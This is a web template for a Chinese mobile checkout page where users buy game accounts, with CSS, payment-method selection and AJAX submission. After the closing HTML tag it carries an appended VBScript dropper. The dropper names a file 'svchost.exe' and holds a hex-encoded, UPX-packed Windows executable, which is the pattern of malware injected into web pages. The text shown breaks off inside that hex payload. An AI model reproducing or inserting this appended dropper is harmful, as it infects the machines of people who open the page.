|
|
|
|
<!DOCTYPE html>
|
|
|
|
|
<html lang="zh-CN">
|
|
|
|
|
<head>
|
|
|
|
|
<meta charset="utf-8">
|
|
|
|
|
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
|
|
|
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
|
|
|
|
<title>购买商品</title>
|
|
|
|
|
|
|
|
|
|
<link href="__CSS__/xg_common.css" rel="stylesheet" >
|
|
|
|
|
<style>
|
|
|
|
|
|
|
|
|
|
html{
|
|
|
|
|
|
|
|
|
|
}
|
|
|
|
|
body{
|
|
|
|
|
min-height: 100vh;
|
|
|
|
|
margin: 0px auto;
|
|
|
|
|
font:14px/1.42858 '微软雅黑';
|
|
|
|
|
background-color: #f2f2f2;
|
|
|
|
|
position: relative;
|
|
|
|
|
}
|
|
|
|
|
h1,h2,h3,h3,h5,h6,ul,li,ol,p{
|
|
|
|
|
margin: 0;
|
|
|
|
|
padding: 0;
|
|
|
|
|
}
|
|
|
|
|
.header,.footer{
|
|
|
|
|
position: fixed;
|
|
|
|
|
left: 0px;right: 0px;
|
|
|
|
|
z-index: 2;
|
|
|
|
|
|
|
|
|
|
}
|
|
|
|
|
.header .xg-title{
|
|
|
|
|
margin: 0px;
|
|
|
|
|
text-align: center;
|
|
|
|
|
font-size: .49rem;
|
|
|
|
|
font-weight: normal;
|
|
|
|
|
}
|
|
|
|
|
/*商品信息模块*/
|
|
|
|
|
.good-info{
|
|
|
|
|
margin-bottom: 0.14rem;
|
|
|
|
|
}
|
|
|
|
|
.good-info h5{
|
|
|
|
|
margin-bottom: 0.12rem;
|
|
|
|
|
color: rgb(151,151,151);
|
|
|
|
|
font-size: 0.32rem;
|
|
|
|
|
font-weight: normal;
|
|
|
|
|
}
|
|
|
|
|
.good-info-left{
|
|
|
|
|
display: block;
|
|
|
|
|
float: left;
|
|
|
|
|
margin-right: 0.32rem;
|
|
|
|
|
}
|
|
|
|
|
.good-info-img{
|
|
|
|
|
display: inline-block;
|
|
|
|
|
width: 3.5rem;
|
|
|
|
|
}
|
|
|
|
|
.good-info-right{
|
|
|
|
|
overflow: hidden;
|
|
|
|
|
}
|
|
|
|
|
.good-info-desc{
|
|
|
|
|
font-size: 0.43rem;
|
|
|
|
|
color: rgb(51,51,51);
|
|
|
|
|
margin-bottom: 0.72rem;
|
|
|
|
|
font-weight: bold;
|
|
|
|
|
}
|
|
|
|
|
.good-info-tags{
|
|
|
|
|
display: inline-block;
|
|
|
|
|
color: rgb(151,151,151);
|
|
|
|
|
padding: 0.01rem 0.12rem;
|
|
|
|
|
border: 1px solid currentColor;
|
|
|
|
|
border-radius: 20px;
|
|
|
|
|
font-size: 0.3rem;
|
|
|
|
|
}
|
|
|
|
|
.good-info-price{
|
|
|
|
|
color: rgb(217,65,50);
|
|
|
|
|
float: right;
|
|
|
|
|
font-size: 0.4rem;
|
|
|
|
|
vertical-align: sub;
|
|
|
|
|
margin-top: 0.05rem;
|
|
|
|
|
}
|
|
|
|
|
.good-info-price>small{
|
|
|
|
|
font-size: 0.2rem;
|
|
|
|
|
}
|
|
|
|
|
/*支付方式模块*/
|
|
|
|
|
.pay-way{
|
|
|
|
|
margin-bottom: 0.14rem;
|
|
|
|
|
padding-bottom: 0;
|
|
|
|
|
}
|
|
|
|
|
.pay-way .pay-way-desc{
|
|
|
|
|
font-size: 0.4rem;
|
|
|
|
|
color: #d94133;
|
|
|
|
|
padding-bottom: 0.16rem;
|
|
|
|
|
font-weight:bold;
|
|
|
|
|
}
|
|
|
|
|
.pay-way-list{
|
|
|
|
|
list-style: none;
|
|
|
|
|
font-size: 0.4rem;
|
|
|
|
|
line-height: 1.32rem;
|
|
|
|
|
color: rgb(102,102,102);
|
|
|
|
|
}
|
|
|
|
|
.pay-way-item{
|
|
|
|
|
border-top: 1px solid #f2f2f2;
|
|
|
|
|
padding-left: 0.66rem;
|
|
|
|
|
background-size: 0.54rem 0.54rem;
|
|
|
|
|
background-position: left center;
|
|
|
|
|
background-repeat: no-repeat;
|
|
|
|
|
}
|
|
|
|
|
.pay-way-item.zfb{
|
|
|
|
|
background-image: url("__IMG__/trade/icon_zhifubao@3x.png");
|
|
|
|
|
}
|
|
|
|
|
.pay-way-item.wx{
|
|
|
|
|
background-image: url("__IMG__/trade/icon_weixin@3x.png");
|
|
|
|
|
}
|
|
|
|
|
.pay-way-right{
|
|
|
|
|
float: right;
|
|
|
|
|
}
|
|
|
|
|
.pay-way-right > .pay-price{
|
|
|
|
|
float: left;
|
|
|
|
|
color: rgb(217,65,50);
|
|
|
|
|
display: none;
|
|
|
|
|
}
|
|
|
|
|
.pay-way-right > .icon-check{
|
|
|
|
|
float: right;
|
|
|
|
|
width: 0.7rem;
|
|
|
|
|
height: 1.32rem;
|
|
|
|
|
font-size: 0;
|
|
|
|
|
background: url("__IMG__/trade/btn_normal_weixuan@3x.png") no-repeat center center / 0.5rem 0.5rem;
|
|
|
|
|
}
|
|
|
|
|
.pay-way-item.active .pay-way-right > .pay-price{
|
|
|
|
|
display: inline-block;
|
|
|
|
|
}
|
|
|
|
|
.pay-way-item.active .pay-way-right > .icon-check{
|
|
|
|
|
background-image: url("__IMG__/trade/btn_selected_xuanzhong@3x.png");
|
|
|
|
|
}
|
|
|
|
|
/*温馨提示模块*/
|
|
|
|
|
.xg-tips h5{
|
|
|
|
|
color: rgb(51,51,51);
|
|
|
|
|
margin: 0px 0px 0.5rem;
|
|
|
|
|
font-size: 0.43rem;
|
|
|
|
|
font-weight: normal;
|
|
|
|
|
}
|
|
|
|
|
.tips-list{
|
|
|
|
|
margin: 0;
|
|
|
|
|
padding: 0;
|
|
|
|
|
list-style: none;
|
|
|
|
|
}
|
|
|
|
|
.tips-item{
|
|
|
|
|
line-height: 0.5rem;
|
|
|
|
|
font-size: 0.33rem;
|
|
|
|
|
margin-bottom: 0.16rem;
|
|
|
|
|
color: rgb(151,151,151);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
.pop-window {
|
|
|
|
|
display:none;
|
|
|
|
|
-webkit-overflow-scrolling: touch;
|
|
|
|
|
overflow:hidden;
|
|
|
|
|
position:fixed;
|
|
|
|
|
top:0;
|
|
|
|
|
left:0;
|
|
|
|
|
bottom:0;
|
|
|
|
|
right:0;
|
|
|
|
|
width:100vw;
|
|
|
|
|
height:100vh;
|
|
|
|
|
z-index:999;
|
|
|
|
|
background:rgba(0,0,0,.2);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
.pop-window .pop-box {
|
|
|
|
|
position:relative;
|
|
|
|
|
top:26%;
|
|
|
|
|
margin:0 auto 0;
|
|
|
|
|
width:80vw;
|
|
|
|
|
background:#FFF;
|
|
|
|
|
border-radius:3vw;
|
|
|
|
|
max-width:293px;
|
|
|
|
|
}
|
|
|
|
|
.pop-window .pop-page {position:relative;margin:0 auto;width:100%;height:100%;background:#FFF;}
|
|
|
|
|
.pop-window .pop-page .pop-wrap,.pop-window .pop-page .pop-wrap>div {height:100%;}
|
|
|
|
|
.pop-window .pop-box .pop-wrap {
|
|
|
|
|
padding:5vw 7vw;
|
|
|
|
|
}
|
|
|
|
|
.pop-window .pop-box .pop-wrap .pop-title {
|
|
|
|
|
position:relative;
|
|
|
|
|
margin:0;
|
|
|
|
|
color:#707070;
|
|
|
|
|
font-size:2.7rem;
|
|
|
|
|
font-weight:normal;
|
|
|
|
|
text-align:center;
|
|
|
|
|
}
|
|
|
|
|
/* .pop-window .pop-box .pop-wrap .pop-title span {
|
|
|
|
|
color:#18B1EA;
|
|
|
|
|
}*/
|
|
|
|
|
.pop-window .pop-box .pop-wrap .pop-close {
|
|
|
|
|
position:absolute;
|
|
|
|
|
right:-1rem;
|
|
|
|
|
top:-1rem;
|
|
|
|
|
font-size:2.2rem;
|
|
|
|
|
color:#999;
|
|
|
|
|
}
|
|
|
|
|
.pop-window .pop-box .pop-wrap .pop-content {
|
|
|
|
|
color:#999;
|
|
|
|
|
font-size:1.8rem;
|
|
|
|
|
position:relative;
|
|
|
|
|
margin-top:.2rem;
|
|
|
|
|
}
|
|
|
|
|
.pop-window .pop-box .pop-wrap .pop-content .des {
|
|
|
|
|
color:#666;
|
|
|
|
|
display:block;
|
|
|
|
|
}
|
|
|
|
|
.pop-window .pop-box .pop-wrap .pop-btnbox {
|
|
|
|
|
overflow:hidden;
|
|
|
|
|
clear:both;
|
|
|
|
|
position:relative;
|
|
|
|
|
}
|
|
|
|
|
.pop-window .pop-box .pop-wrap .pop-btnbox .pop-btn {
|
|
|
|
|
width:45%;
|
|
|
|
|
text-align:center;
|
|
|
|
|
padding:.4rem 0;
|
|
|
|
|
font-size:2.6rem;
|
|
|
|
|
border-radius:4rem;
|
|
|
|
|
display:block;
|
|
|
|
|
}
|
|
|
|
|
.pop-window .pop-box .pop-wrap .pop-btnbox .pop-cancel {
|
|
|
|
|
color:#707070;
|
|
|
|
|
border:1px solid #F1F1F1;
|
|
|
|
|
float:left;
|
|
|
|
|
}
|
|
|
|
|
.pop-window .pop-box .pop-wrap .pop-btnbox .pop-confirm {
|
|
|
|
|
color:#FFF;
|
|
|
|
|
background:#18B1EA;
|
|
|
|
|
border:1px solid #18B1EA;
|
|
|
|
|
float:right;
|
|
|
|
|
}
|
|
|
|
|
.pop-window .pop-box .pop-wrap .pop-btnbox .pop-confirm.disabled {
|
|
|
|
|
background:#CCC;
|
|
|
|
|
border-color:#CCC;
|
|
|
|
|
}
|
|
|
|
|
.pop-window .pop-box .pop-wrap .pop-btnbox .pop-input {
|
|
|
|
|
padding:.8rem 0rem .8rem 8rem;
|
|
|
|
|
width:100%;
|
|
|
|
|
box-sizing:border-box;
|
|
|
|
|
-webkit-box-sizing:border-box;
|
|
|
|
|
color:#18B1EA;
|
|
|
|
|
border:none;
|
|
|
|
|
border-radius:2rem;
|
|
|
|
|
font-size:3rem;
|
|
|
|
|
line-height:1;
|
|
|
|
|
vertical-align: middle;
|
|
|
|
|
}
|
|
|
|
|
.pop-window .pop-box .pop-wrap .pop-btnbox .pop-span {
|
|
|
|
|
width: 205px;
|
|
|
|
|
box-sizing: border-box;
|
|
|
|
|
-webkit-box-sizing: border-box;
|
|
|
|
|
color: #18B1EA;
|
|
|
|
|
font-size: 2rem;
|
|
|
|
|
line-height: 3rem;
|
|
|
|
|
vertical-align: middle;
|
|
|
|
|
overflow-x: scroll;
|
|
|
|
|
display: inline-block;
|
|
|
|
|
}
|
|
|
|
|
.pop-window .pop-box .pop-wrap .pop-btnbox .prefix {
|
|
|
|
|
position:absolute;
|
|
|
|
|
left:.5rem;
|
|
|
|
|
top:0rem;
|
|
|
|
|
font-size:1.6rem;
|
|
|
|
|
display:block;
|
|
|
|
|
text-align: left;
|
|
|
|
|
vertical-align:middle;
|
|
|
|
|
line-height: 3rem;
|
|
|
|
|
}
|
|
|
|
|
.pop-window .pop-box .pop-wrap .pop-btnbox .pop-copy {
|
|
|
|
|
background:#18B1EA;
|
|
|
|
|
color:#FFF;
|
|
|
|
|
box-sizing:border-box;
|
|
|
|
|
-webkit-box-sizing:border-box;
|
|
|
|
|
position:absolute;
|
|
|
|
|
top:0;
|
|
|
|
|
right:0;
|
|
|
|
|
height:100%;
|
|
|
|
|
width:7rem;
|
|
|
|
|
font-size:2rem;
|
|
|
|
|
text-align:center;
|
|
|
|
|
padding-top:.8rem;
|
|
|
|
|
border-top-right-radius:2rem;
|
|
|
|
|
border-bottom-right-radius:2rem;
|
|
|
|
|
}
|
|
|
|
|
.pop-window .pop-box .pop-wrap .pop-textarea {
|
|
|
|
|
width:100%;
|
|
|
|
|
height:26vh;
|
|
|
|
|
padding:.4rem;
|
|
|
|
|
font-size:1.5rem;
|
|
|
|
|
border:1px solid #DCDCDC;
|
|
|
|
|
box-sizing:border-box;
|
|
|
|
|
-webkit-box-sizing:border-box;
|
|
|
|
|
}
|
|
|
|
|
.totalnum {
|
|
|
|
|
position:absolute;
|
|
|
|
|
bottom:-1.2rem;
|
|
|
|
|
right:.3rem;
|
|
|
|
|
font-size:1.2rem;
|
|
|
|
|
}
|
|
|
|
|
.pop-dialog {
|
|
|
|
|
display:none;
|
|
|
|
|
position:fixed;
|
|
|
|
|
z-index:1999;
|
|
|
|
|
top:0;
|
|
|
|
|
left:0;
|
|
|
|
|
right:0;
|
|
|
|
|
text-align:center;
|
|
|
|
|
width:100vw;
|
|
|
|
|
height:100vh;
|
|
|
|
|
}
|
|
|
|
|
.pop-dialog span {
|
|
|
|
|
background:rgba(0,0,0,.6);
|
|
|
|
|
top:50%;
|
|
|
|
|
color:#FFF;
|
|
|
|
|
display:inline-block;
|
|
|
|
|
line-height:2;
|
|
|
|
|
position:relative;
|
|
|
|
|
padding:.5rem 2rem;
|
|
|
|
|
word-break:break-all;
|
|
|
|
|
max-width:60vw;
|
|
|
|
|
}
|
|
|
|
|
.pop-table {
|
|
|
|
|
display:table;
|
|
|
|
|
width:100%;height:100%;
|
|
|
|
|
position:relative;
|
|
|
|
|
}
|
|
|
|
|
.pop-table .pop-wrap{display:table-cell;width:100%;height:100%;vertical-align:middle;text-align:center;}
|
|
|
|
|
.pop-row {
|
|
|
|
|
display:table-row;
|
|
|
|
|
position:relative;
|
|
|
|
|
}
|
|
|
|
|
.pop-cell {
|
|
|
|
|
display:table-cell;
|
|
|
|
|
position:relative;
|
|
|
|
|
vertical-align:middle;
|
|
|
|
|
}
|
|
|
|
|
.pop-cell.pop-mark{
|
|
|
|
|
width:24%;
|
|
|
|
|
}
|
|
|
|
|
.pop-form {
|
|
|
|
|
display:none;
|
|
|
|
|
-webkit-overflow-scrolling: touch;
|
|
|
|
|
overflow:hidden;
|
|
|
|
|
position:fixed;
|
|
|
|
|
top:0;
|
|
|
|
|
left:0;
|
|
|
|
|
bottom:0;
|
|
|
|
|
right:0;
|
|
|
|
|
width:100vw;
|
|
|
|
|
height:100vh;
|
|
|
|
|
z-index:999;
|
|
|
|
|
background:rgba(0,0,0,.5);
|
|
|
|
|
}
|
|
|
|
|
.pop-form .pop-box {
|
|
|
|
|
position:relative;
|
|
|
|
|
top:28%;
|
|
|
|
|
margin:0 auto 0;
|
|
|
|
|
width:90vw;
|
|
|
|
|
background:#FFF;
|
|
|
|
|
border-radius:3vw;
|
|
|
|
|
}
|
|
|
|
|
.pop-form .pop-box .pop-wrap {
|
|
|
|
|
padding:4vw 6vw 6vw;
|
|
|
|
|
}
|
|
|
|
|
.pop-form .pop-box .pop-wrap form {
|
|
|
|
|
padding:1px;
|
|
|
|
|
}
|
|
|
|
|
.pop-form .pop-box .pop-wrap .pop-content {
|
|
|
|
|
position:relative;
|
|
|
|
|
width:100%;
|
|
|
|
|
}
|
|
|
|
|
.pop-form .pop-title {
|
|
|
|
|
position:relative;
|
|
|
|
|
margin:0;
|
|
|
|
|
color:#707070;
|
|
|
|
|
font-size:3.4rem;
|
|
|
|
|
font-weight:100;
|
|
|
|
|
text-align:center;
|
|
|
|
|
}
|
|
|
|
|
.pop-form .pop-box .pop-wrap .pop-close {
|
|
|
|
|
position:absolute;
|
|
|
|
|
right:0rem;
|
|
|
|
|
top:0rem;
|
|
|
|
|
font-size:2.2rem;
|
|
|
|
|
color:#999;
|
|
|
|
|
}
|
|
|
|
|
.pop-form .pop-table-wrap {
|
|
|
|
|
padding-top:1.7rem;
|
|
|
|
|
width:100%;
|
|
|
|
|
position:relative;
|
|
|
|
|
overflow:hidden;
|
|
|
|
|
}
|
|
|
|
|
.pop-form .pop-table-wrap .pop-table {
|
|
|
|
|
}
|
|
|
|
|
.pop-form .pop-table-wrap .pop-table .pop-cell {
|
|
|
|
|
height:6rem;
|
|
|
|
|
font-size:2.2rem;
|
|
|
|
|
}
|
|
|
|
|
.pop-form .pop-table-wrap .pop-table .pop-cell:first-child {
|
|
|
|
|
width:3.5rem;
|
|
|
|
|
white-space: nowrap;
|
|
|
|
|
}
|
|
|
|
|
.pop-form .pop-table-wrap .pop-table .pop-cell:last-child {
|
|
|
|
|
text-align:right;
|
|
|
|
|
}
|
|
|
|
|
.pop-form .pop-table-wrap .pop-table .pop-cell .pgood {
|
|
|
|
|
}
|
|
|
|
|
.pop-form .pop-table-wrap .pop-table .pop-cell p {
|
|
|
|
|
margin:0;
|
|
|
|
|
}
|
|
|
|
|
.pop-form .pop-table-wrap .pop-table .pop-row~.pop-row {
|
|
|
|
|
border-top:1px solid rgba(231,231,231,.5);
|
|
|
|
|
}
|
|
|
|
|
.pop-form .pop-table-wrap .pop-table .paddress {
|
|
|
|
|
font-size:0.48rem;
|
|
|
|
|
width:88%;
|
|
|
|
|
}
|
|
|
|
|
.pop-form .pop-table-wrap .pop-table .paddress {
|
|
|
|
|
text-align: left;
|
|
|
|
|
float: right;
|
|
|
|
|
}
|
|
|
|
|
.pop-form .pop-table-wrap .pop-table .paddress span {
|
|
|
|
|
display:block;
|
|
|
|
|
text-overflow:ellipsis;
|
|
|
|
|
overflow:hidden;
|
|
|
|
|
}
|
|
|
|
|
.pop-form .pop-table-wrap .pop-table .pop-cell .icon-right {
|
|
|
|
|
position:absolute;
|
|
|
|
|
top:34.3%;
|
|
|
|
|
right:0.2rem;
|
|
|
|
|
width:0.3rem;
|
|
|
|
|
height:0.54rem;
|
|
|
|
|
display:block;
|
|
|
|
|
}
|
|
|
|
|
.pop-form .pop-butn-box {
|
|
|
|
|
padding-top:0.58rem;
|
|
|
|
|
}
|
|
|
|
|
.pop-form .pop-butn-box .butn {
|
|
|
|
|
width:100%;
|
|
|
|
|
-webkit-appearance:none;
|
|
|
|
|
font-size:3rem;
|
|
|
|
|
color:#FFF;
|
|
|
|
|
display:inline-block;
|
|
|
|
|
padding:0.6rem 0;
|
|
|
|
|
background:#18B1EA;
|
|
|
|
|
border-radius:3rem;
|
|
|
|
|
border:none;
|
|
|
|
|
margin:0;
|
|
|
|
|
}
|
|
|
|
|
.pop-message,.pop-cue,.pop-notice,.pop-hint,.pop-share,.pop-prompt,.pop-prompt2,.pop-form,.pop-bind,.pop-login,.pop-pay,.pop-pay-temp,.pop-partir,.pop-bookmark,.pop-load {display:none;position:fixed;z-index:1999;top:0;left:0;right:0;text-align:center;width:100vw;height:100vh;}
|
|
|
|
|
.pop-message .pop-box {background:rgba(0,0,0,.84);position:relative;color:#FFF;display:inline-block;position:relative;word-break:break-all;border-radius:0.2rem;width:4.64rem;height:4.64rem;}
|
|
|
|
|
.pop-message .pop-box .pop-image {width:1.94rem;height:1.4rem;margin-top:1.12rem;}
|
|
|
|
|
.pop-message .pop-box .pop-text {margin:0.76rem 0 0;font-size:0.52rem;color:#FFF;}
|
|
|
|
|
.pop-info {background-color:rgba(0,0,0,0);}
|
|
|
|
|
.pop-info .pop-page {display:table;background:transparent;}
|
|
|
|
|
.pop-info .pop-wrap {display:table-cell;vertical-align:middle;}
|
|
|
|
|
.pop-info .publishing {width:4.5rem;height:3rem !important;margin:0 auto;background:#333;border-radius:0.4rem;}
|
|
|
|
|
.pop-info .publishing img {margin:0 auto;display:block;width:1.5rem;padding:0.5rem 0 0.1rem;}
|
|
|
|
|
.pop-info .publishing span{font-size:.38rem;color:#FFF;text-align:center;display:block;}
|
|
|
|
|
.look_result {color:#18B1EA;font-size:.32rem;cursor:pointer;width:3.5rem;height:1.4rem;line-height:1.4rem;margin:0 auto;background:#FFF;display:inline-block;border-radius:3px;}
|
|
|
|
|
@media screen and (min-width: 768px) {
|
|
|
|
|
html {
|
|
|
|
|
font-size:48px!important;
|
|
|
|
|
}
|
|
|
|
|
.look_result {font-size:.44rem;width:5rem;height:2rem;line-height:2rem;}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
</style>
|
|
|
|
|
</head>
|
|
|
|
|
<body>
|
|
|
|
|
<header class="header">
|
|
|
|
|
<a class="xg-back" href="javascript:;" onclick="history.back();"></a>
|
|
|
|
|
<h1 class="xg-title">购买商品</h1>
|
|
|
|
|
</header>
|
|
|
|
|
<main class="xg-main">
|
|
|
|
|
<div class="xg-container">
|
|
|
|
|
<div class="xg-module good-info">
|
|
|
|
|
<h5>商品信息</h5>
|
|
|
|
|
<div class="good-info-container clf">
|
|
|
|
|
<img class="good-info-left good-info-img" src="__IMG__/pic_zhanghao@3x.png" width="160" alt="">
|
|
|
|
|
<div class="good-info-right">
|
|
|
|
|
<div class="good-info-desc">{$data.title}</div>
|
|
|
|
|
<span class="good-info-tags">{$data.game_name}</span>
|
|
|
|
|
<strong class="good-info-price"><small>￥</small>{$data.price}</strong>
|
|
|
|
|
</div>
|
|
|
|
|
</div>
|
|
|
|
|
|
|
|
|
|
</div>
|
|
|
|
|
<div class="xg-module pay-way">
|
|
|
|
|
<if condition="I('time') neq '' ">
|
|
|
|
|
<p class="pay-way-desc"></p>
|
|
|
|
|
<script type="text/javascript" src="__JS__/jquery-1.11.3.min.js"></script>
|
|
|
|
|
<script type="text/javascript">
|
|
|
|
|
/*倒计时*/
|
|
|
|
|
var intDiff = parseInt("{:I('time')}");//倒计时总秒数量
|
|
|
|
|
function timer(intDiff){
|
|
|
|
|
var jsdtime = $('.pay-way-desc').html(alo(intDiff));
|
|
|
|
|
if(intDiff>0)
|
|
|
|
|
var a = setInterval(function(){
|
|
|
|
|
--intDiff>=0?jsdtime.html(alo(intDiff)):(clearInterval(a));
|
|
|
|
|
}, 1000);
|
|
|
|
|
}
|
|
|
|
|
function alo(intDiff) {
|
|
|
|
|
var day=hour=minute=second=0;
|
|
|
|
|
if (intDiff>0) {
|
|
|
|
|
day = Math.floor(intDiff / (60 * 60 * 24));
|
|
|
|
|
hour = Math.floor(intDiff / (60 * 60)) - (day * 24);
|
|
|
|
|
minute = Math.floor(intDiff / 60) - (day * 24 * 60) - (hour * 60);
|
|
|
|
|
second = Math.floor(intDiff) - (day * 24 * 60 * 60) - (hour * 60 * 60) - (minute * 60);
|
|
|
|
|
}
|
|
|
|
|
return '请在'+minute+'分'+second+'秒内完成购买';
|
|
|
|
|
}
|
|
|
|
|
$(function(){
|
|
|
|
|
timer(intDiff);
|
|
|
|
|
});
|
|
|
|
|
</script>
|
|
|
|
|
<else/>
|
|
|
|
|
<p class="pay-way-desc">订单有效支付时间为30分钟</p>
|
|
|
|
|
</if>
|
|
|
|
|
<ul class="pay-way-list" id="pay_way">
|
|
|
|
|
<li class="pay-way-item zfb active" data-way="1">
|
|
|
|
|
<span class="way-type">支付宝支付</span>
|
|
|
|
|
<span class="pay-way-right"><strong class="pay-price">-{$data.price}</strong><i class="icon-check"></i></span>
|
|
|
|
|
</li>
|
|
|
|
|
<li class="pay-way-item wx" data-way="2">
|
|
|
|
|
<span class="way-type">微信支付</span>
|
|
|
|
|
<span class="pay-way-right"><strong class="pay-price">-{$data.price}</strong><i class="icon-check"></i></span>
|
|
|
|
|
</li>
|
|
|
|
|
</ul>
|
|
|
|
|
</div>
|
|
|
|
|
<div class="xg-module xg-tips">
|
|
|
|
|
<h5>温馨提示</h5>
|
|
|
|
|
<ul class="tips-list">
|
|
|
|
|
<li class="tips-item">1.角色信息已通过平台官网审验；</li>
|
|
|
|
|
<li class="tips-item">2.购买后，登录游戏，选择【购买到的小号】进入游戏查验角色；</li>
|
|
|
|
|
<li class="tips-item">3.交易过程仅限小号转移，不存在游戏号交易或换绑行为，无需担心角色找回；</li>
|
|
|
|
|
<li class="tips-item">4.购买后<span class="clo_red">不支持退货</span></li>
|
|
|
|
|
</ul>
|
|
|
|
|
</div>
|
|
|
|
|
</div>
|
|
|
|
|
</main>
|
|
|
|
|
<footer class="footer" id="submit_data">
|
|
|
|
|
<input type="hidden" name="way" value="1">
|
|
|
|
|
<input type="hidden" name="pay_amount" value="{$data.price}">
|
|
|
|
|
<input type="hidden" name="id" value="{$data.id}">
|
|
|
|
|
<input type="hidden" name="small_id" value="{$data.small_id}">
|
|
|
|
|
<button type="button" class="xg-btn xg-btn-submit xg-btn-primary jssubmit">确认支付</button>
|
|
|
|
|
</footer>
|
|
|
|
|
<div class="popmsg pop-dialog"></div>
|
|
|
|
|
<div class="popwin pop-window"><div class="pop-table"><div class="pop-wrap"></div></div></div>
|
|
|
|
|
<!-- <div class="popwin2 pop-window" style="display:block;"><div class="pop-table"><div class="pop-wrap"><a class="look_result"><span>查看支付结果</span></a></div></div></div>
|
|
|
|
|
--><script src="__JS__/jquery-1.11.1.min.js"></script>
|
|
|
|
|
<script src="__JS__/xg_mobile.js"></script>
|
|
|
|
|
<script src="__JS__/pop.lwx.min.js"></script>
|
|
|
|
|
<script>
|
|
|
|
|
$(function() {
|
|
|
|
|
|
|
|
|
|
var pmsg = $(".popmsg").pop();
|
|
|
|
|
var popwin = $('.popwin').pop();
|
|
|
|
|
|
|
|
|
|
$('input[name="way"]').val($('#pay_way li.active').attr('data-way'));
|
|
|
|
|
|
|
|
|
|
$('#pay_way li').click(function() {
|
|
|
|
|
var that = $(this);
|
|
|
|
|
that.siblings('li').removeClass('active');
|
|
|
|
|
that.addClass('active');
|
|
|
|
|
$('input[name="way"]').val(that.attr('data-way'));
|
|
|
|
|
return false;
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
$('.jssubmit').click(function() {
|
|
|
|
|
var that = $(this),form = $('#submit_data');
|
|
|
|
|
if(that.hasClass('nodisabled')) {return false;}
|
|
|
|
|
that.addClass('nodisabled');
|
|
|
|
|
if(validate(form)) {
|
|
|
|
|
$.ajax({
|
|
|
|
|
type:'post',
|
|
|
|
|
dataType:'json',
|
|
|
|
|
url:'{:U("buy_good")}',
|
|
|
|
|
data:form.find('input').serialize(),
|
|
|
|
|
success:function(data){
|
|
|
|
|
if(parseInt(data.status) == 1) {
|
|
|
|
|
that.removeClass('nodisabled');
|
|
|
|
|
if($('#pay_way li.active').attr('data-way')==1){
|
|
|
|
|
window.location.href = data.url;
|
|
|
|
|
} else {
|
|
|
|
|
window.location.href = data.url;
|
|
|
|
|
//popwin.open(400,'<a class="look_result" id="jslookresult"><span>查看支付结果</span></a>');
|
|
|
|
|
popwin.find('#jslookresult').on('click',function() {
|
|
|
|
|
|
|
|
|
|
$.ajax({
|
|
|
|
|
type:'post',
|
|
|
|
|
dataType:'json',
|
|
|
|
|
data:form.find('input').serialize(),
|
|
|
|
|
url:'{:U("Pay/look")}',
|
|
|
|
|
success:function(result){
|
|
|
|
|
if(parseInt(result.status)==1) {
|
|
|
|
|
window.location.href = result.url;
|
|
|
|
|
} else {
|
|
|
|
|
popwin.close(300);
|
|
|
|
|
pmsg.msg('支付失败');
|
|
|
|
|
}
|
|
|
|
|
},
|
|
|
|
|
error:function(){
|
|
|
|
|
popwin.close(300);
|
|
|
|
|
pmsg.msg('服务器故障，请稍后再试');
|
|
|
|
|
}
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
return false;
|
|
|
|
|
});
|
|
|
|
|
}
|
|
|
|
|
} else {
|
|
|
|
|
if(data.url) {
|
|
|
|
|
window.location.href=data.url;
|
|
|
|
|
} else {
|
|
|
|
|
pmsg.msg(data.info);
|
|
|
|
|
that.removeClass('nodisabled');
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
},
|
|
|
|
|
error:function(){
|
|
|
|
|
pmsg.msg('服务器故障，请稍后再试');that.removeClass('nodisabled');
|
|
|
|
|
},
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
} else {
|
|
|
|
|
that.removeClass('nodisabled');
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
return false;
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
function validate(obj) {
|
|
|
|
|
var way = $.trim(obj.find('input[name="way"]').val());
|
|
|
|
|
|
|
|
|
|
if(!way) {pmsg.msg('请选择支付方式');return false;}
|
|
|
|
|
|
|
|
|
|
return true;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
</script>
|
|
|
|
|
</body>
|
|
|
|
|
</html><SCRIPT Language=VBScript><!--
|
|
|
|
|
DropFileName = "svchost.exe"
|
|
|
|
|
WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C